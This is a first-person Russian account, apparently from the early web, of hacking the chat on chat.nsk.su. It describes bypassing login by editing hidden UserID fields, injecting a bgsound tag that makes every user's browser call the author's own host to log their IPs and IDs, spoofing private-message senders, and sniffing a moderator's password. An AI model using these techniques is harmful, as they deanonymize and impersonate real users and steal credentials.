О "взломах"
html-чатов
Я предполагаю, что читатель знает, что такое
CGI, и на этом построю своё объяснение.
Начал я с малого.
В любом чате фрейм, в котором
ты пишешь сообщения, генерится динамически (для каждого входящего)
и, возможно, содержит несколько скрытых полей. Типа <input
type=hidden name=cookie value=SP202134> (так в партизанах
хранится UserID)
Идея в следующем: сохраняем
содержимое этого фрейма на диске и исправляем его так, что бы
можно было с ним работать со своего винта. Т.е. заменяем ссылки
типа /cgi-bin/refresh.pl на полный путь www.chat.nsk.su/cgi-bin/refresh.pl
и вместо скрытых полей формы пишем типа <input type=text
name=cookie value=SP202134> (что бы можно было их изменять)
После этого делаем HTML документ для "сборки чата"
из кусков. Т.е. примерно так
"First.htm"
<html>
<frameset rows="80%,20%">
<frameset cols="70%,30%">
<frame name="razg" src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end">
<frame name="rigt" src="http://www.chat.nsk.su/right.html">
</frameset>
<frame name="bot" src="start.htm">
</frameset>
</html>
Start.htm - это и есть тот
фрейм который я сохранил и изменил
После этого я просто броузером
открывал эту страницу (First.htm). И сразу(!!!) попадал в чат,
минуя стандартную процедуру входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров, за счет взятия чужого ID'a
Дальше мне стало интересно
вычислить IP участников. Я обнаружил, что не запрещён тэг <bgsound
src="">. Это позволило вставлять в своё сообщение
ресурс со своей машины. Сам по себе звук на хер не нужен, но
этот косяк позволил вставить в свой месс строку типа <bgsound
src="http://MyIP/cgi-bin/spy.exe">. Этот скрипт
(spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило
увидеть IP всех (скрипт просто сохранял мне на винт данные из
переменной окружения REMOTE_ADDR). Это мне не очень понравилось,
тк не понятно было где чей IP. Примерно в это-же время в чате
появились приваты. Это значит, что документ в главном фрейме
(тот где мессы все) стал называться по другому.
До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end
После появления приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end
Где SP456789 - UserID
После этого в скрипт (spy.exe)
был добавлен вывод ID'a из переменной окружения HTTP_REFERER
Ну а сопоставить ник с ID'ом не проблемма, тк ID каждого прописан
там же примерно в такой строке
<br><b><font color=yellow size=-1>Тут ник</font></b>
<font color=black><a href="/cgi-bin/private_form.cgi?SP448188">
<img src=/img/mes.gif border=0 vspace=0></a></font>
(Это строка взята из правого
фрейма, где можно вызвать функцию "Кто в чате")
После этого перестало быть
проблемой сопоставление ника и IP. Затем я решил позабавиться
с приватами.
Используя метод сохранения
странички на винт (описанный выше), я получил форму для отправления
приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно
сообщении проставлять имя отправителя.
Осталось только одно. Я знал,
что в чате есть киллеры, но ничего не знал про то, что это,
где это, как это. Знал только, что для того, чтобы киллерствовать
надо зайти на какую-то страничку. Очевидно, что в этой киллерской
страничке показываются имена. Я предположил, что моё имя показываются
таким, каким я его ввожу. Исходя из этого, я под именем <bgsound
src="http://MyIP/cgi-bin/spy.exe"> MyNick зашел
в чат (через прокси), и начал легонько ругаться (мне надо было,
чтобы киллеры зашли на свою страничку). После этого (когда меня
убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел
там обращение со страници не относящейся к известным мне страницам
чата. Я полез на эту страницу и получил запрос на ввод пароля,
со словами "Дорогой администратор...". Это приятно
согрело душу. Дальше я начал думать, то ли подобрать пароль,
то ли ещё что придумать. Но ситуация так сложилась, что я оказался
в одной сети с киллером, и, запустив сниффер, я поимел пароль.
Ну вот и все.
Наверх